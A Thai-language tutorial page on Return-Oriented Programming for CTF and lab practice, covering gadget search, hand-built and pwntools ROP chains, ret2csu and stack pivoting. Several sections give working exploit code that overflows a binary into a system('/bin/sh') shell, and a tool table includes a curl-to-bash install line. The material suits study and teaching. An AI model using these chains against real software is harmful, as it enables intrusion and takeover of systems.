ROP (Return-Oriented Programming)
ROP (Return-Oriented Programming) เป็นเทคนิคหลักในการ bypass NX โดยร้อย 'gadget' — ชิ้นโค้ดสั้นๆ จบด้วย ret ที่มีในโปรแกรม/libc — มาต่อกันเป็น chain ทำงานแทน shellcode บทนี้ลงลึกกลไก ret, การหา gadget, การสร้าง chain ด้วยมือและ pwntools, ret2csu, stack pivot และ troubleshooting (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาต)
1. หลักการ — ทำไม ret ร้อย gadget ได้
เมื่อ NX ห้ามรันโค้ดใหม่ ROP ใช้โค้ดที่รันได้อยู่แล้ว โดยมองหา 'gadget' = ลำดับ instruction สั้นๆ ที่จบด้วย ret เช่น pop rdi; ret กลไกสำคัญคือ ret = pop rip (ดึงค่าบนสุดของ stack เข้า RIP แล้วกระโดด) ดังนั้นถ้าเราวาง address ของ gadget ต่อกันบน stack เมื่อ gadget แรกจบด้วย ret มันจะ pop address ของ gadget ถัดไปเข้า RIP — กระโดดไปเรื่อยๆ ร้อยกันเป็น 'ROP chain' ที่ทำงานเสมือนโปรแกรมเล็กๆ ที่เราเขียนจากชิ้นส่วนที่มีอยู่
2. หา gadget
# ROPgadget — list ทั้งหมด แล้ว grep
ROPgadget --binary ./vuln | grep "pop rdi"
ROPgadget --binary ./vuln | grep ": ret$" # ret เปล่า (alignment)
ROPgadget --binary ./vuln --ropchain # ลองสร้าง chain อัตโนมัติ
# หา gadget ใน libc (เมื่อ ret2libc/ASLR)
ROPgadget --binary ./libc.so.6 | grep "pop rdi ; ret"
# ropper (ทางเลือก, ค้นแบบ semantic ได้)
ropper -f ./vuln --search "pop rdi"
ropper -f ./vuln --search "pop r??" # wildcard| gadget | ใช้ทำอะไร |
|---|---|
| pop rdi ; ret | ตั้ง RDI (arg1) — สำคัญสุด |
| pop rsi ; ret | ตั้ง RSI (arg2) |
| pop rdx ; ret | ตั้ง RDX (arg3) — มักหายาก → ret2csu |
| ret | stack alignment (movaps) |
| syscall ; ret | เรียก syscall (ret2syscall) |
| leave ; ret | stack pivot (ย้าย RSP) |
| mov [rdi], rsi ; ret | write-what-where (เขียน memory) |
3. สร้าง chain ด้วยมือ (เข้าใจกลไก)
from pwn import *
elf = context.binary = ELF('./vuln')
libc = ELF('./libc.so.6')
p = process('./vuln')
offset = 72
# address (สมมติรู้/leak แล้ว — ดูหัวข้อ ASLR)
pop_rdi = 0x4011d3 # จาก ROPgadget
ret = 0x40101a # ret เปล่า
libc.address = 0x7ffff7800000 # libc base จาก leak
system = libc.symbols['system']
binsh = next(libc.search(b'/bin/sh'))
chain = b'A' * offset
chain += p64(pop_rdi) # pop rdi; ret
chain += p64(binsh) # rdi = "/bin/sh"
chain += p64(ret) # alignment (movaps)
chain += p64(system) # call system
p.sendline(chain)
p.interactive()4. สร้าง chain ด้วย pwntools ROP
from pwn import *
elf = context.binary = ELF('./vuln')
libc = ELF('./libc.so.6')
libc.address = 0x7ffff7800000 # จาก leak
# pwntools หา gadget + จัด chain ให้เอง
rop = ROP([elf, libc])
rop.call('system', [next(libc.search(b'/bin/sh'))])
# หรือหลายขั้น:
# rop.call('puts', [elf.got['puts']]) # leak
# rop.call('main') # กลับ
print(rop.dump()) # ดู chain ที่สร้าง
payload = b'A'*72 + rop.chain()
# ...send...5. ret2csu — เมื่อขาด gadget จัด rdx/rsi
บ่อยครั้งหา pop rdx; ret ไม่เจอ (จำเป็นสำหรับ arg3 เช่น write(fd, buf, len) หรือ execve) เทคนิค ret2csu ใช้ gadget ใน __libc_csu_init (มีในทุก dynamically-linked binary ที่ไม่ strip) ที่ pop หลาย register รวด (rbx, rbp, r12-r15) แล้ว mov ไป rdx/rsi/rdi
from pwn import *
elf = context.binary = ELF('./vuln')
rop = ROP(elf)
# pwntools รู้จัก csu gadget — แค่สั่ง call ที่ต้องการ 3 args
# เช่น write(1, addr, len)
rop.call(elf.symbols['write'], [1, elf.got['write'], 8])
# pwntools เลือก csu/gadget จัด rdi,rsi,rdx ให้เอง
print(rop.dump())
payload = b'A'*72 + rop.chain()6. Stack Pivot — เมื่อพื้นที่ overflow น้อย
บางโจทย์ buffer เล็ก เขียน chain ยาวไม่พอ — ใช้ stack pivot ย้าย RSP ไปยังพื้นที่ที่เราควบคุมและใหญ่กว่า (เช่น bss ที่เขียน chain ไว้ก่อน) ด้วย gadget อย่าง leave; ret (= mov rsp,rbp; pop rbp; ret) หรือ pop rsp; ret
- leave; ret: ตั้ง RBP เป็น address ปลายทาง−8 ก่อน แล้ว leave จะย้าย RSP ไป
- pop rsp; ret: ย้าย RSP ตรงๆ ไป address ที่ pop
- add rsp, X; ret: เลื่อน RSP ข้าม (ข้าม junk)
- เขียน chain จริงไว้ใน bss/heap ก่อน (ผ่าน read/gets) แล้ว pivot ไปที่นั่น
- ดูใน pwntools:
rop.migrate(addr)ช่วย pivot
7. Troubleshooting
- crash ที่ movaps ใน libc: stack ไม่ align → เติม ret เปล่า 1 ตัว
- chain ขาดตอน: มี bad char (\x00,\x0a) ใน address → หา gadget อื่น/เขียนเลี่ยง
- pop rdx ไม่มี: ใช้ ret2csu (section 5)
- พื้นที่ไม่พอ: stack pivot (section 6)
- ASLR: libc gadget เปลี่ยนทุก run → ต้อง leak base ก่อน (ดู ASLR)
- debug: ตั้ง breakpoint ที่ ret แรก แล้ว stepi ดู RSP/RIP ทีละ gadget ใน gef
8. Quick Reference
- ROP bypass NX: ร้อย gadget (จบ ret) reuse โค้ดที่มี
- ret = pop rip → stack ขับการกระโดดทีละ gadget
- หา: ROPgadget --binary X | grep 'pop rdi'; ': ret$'
- x64 args: pop rdi/rsi/rdx; ret(align); syscall
- pwntools: rop=ROP([elf,libc]); rop.call('system',[binsh])
- ขาด pop rdx → ret2csu; พื้นที่น้อย → stack pivot (leave;ret)
- crash movaps → เติม ret; debug ทีละ gadget ด้วย gef stepi
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติรู้แล้วว่า NX เปิด ต้องสร้าง ROP chain แต่ยังไม่เคยทำจริง — มีแค่ Kali เปล่าๆ ทำตามนี้ทีละขั้นจนได้ chain ที่ใช้งานได้
- 1หา offset ให้ได้ก่อน (จาก Buffer Overflow) — ต้องรู้ว่าเขียนกี่ byte ถึง return address
- 2หา gadget พื้นฐาน:
ROPgadget --binary ./vuln | grep 'pop rdi'และ| grep ': ret$' - 3ถ้าไม่พอในตัว binary ลองหาใน libc:
ROPgadget --binary ./libc.so.6 | grep 'pop rdi ; ret' - 4เขียน chain ด้วยมือก่อนสักครั้งเพื่อเข้าใจ: padding + pop_rdi + arg + ret(align) + target
- 5ลองใช้ pwntools ช่วยจัด:
rop = ROP(elf); rop.call('system', [binsh])แล้วprint(rop.dump())ดูว่าจัดอะไรให้ - 6ส่ง payload:
b'A'*offset + rop.chain()แล้วดูผล - 7ถ้า crash ที่ movaps ใน libc ให้เติม ret gadget เปล่า 1 ตัวก่อน target
- 8ถ้าหา pop rdx ไม่เจอ (arg3) ลองให้ pwntools จัด ret2csu อัตโนมัติผ่าน rop.call()
- 9ถ้า buffer เขียน chain ยาวไม่พอ ต้องทำ stack pivot (leave;ret) ไปพื้นที่ที่ใหญ่กว่า เช่น bss
- 10debug ทีละ gadget: ตั้ง breakpoint ที่ ret แรกใน gdb แล้ว
gef> stepiไล่ดู RSP/RIP
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| หา gadget | ROPgadget | pip install ropgadget | ropshell.com |
| หา gadget แบบ semantic | ropper | pip install ropper | - |
| debug ทีละ gadget | gdb + gef/pwndbg | bash -c "$(curl -fsSL https://gef.blah.cat/sh)" | - |
| สร้าง/จัด chain อัตโนมัติ | pwntools ROP() | pip install pwntools | - |
| แก้ permission binary (patchelf) | patchelf | apt install patchelf | - |
| decompile ดู __libc_csu_init | radare2 / objdump | apt install radare2 | dogbolt.org |
| หา one_gadget เมื่อขาด gadget | one_gadget (gem) | gem install one_gadget | - |
หัวข้อที่เชื่อมโยง
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้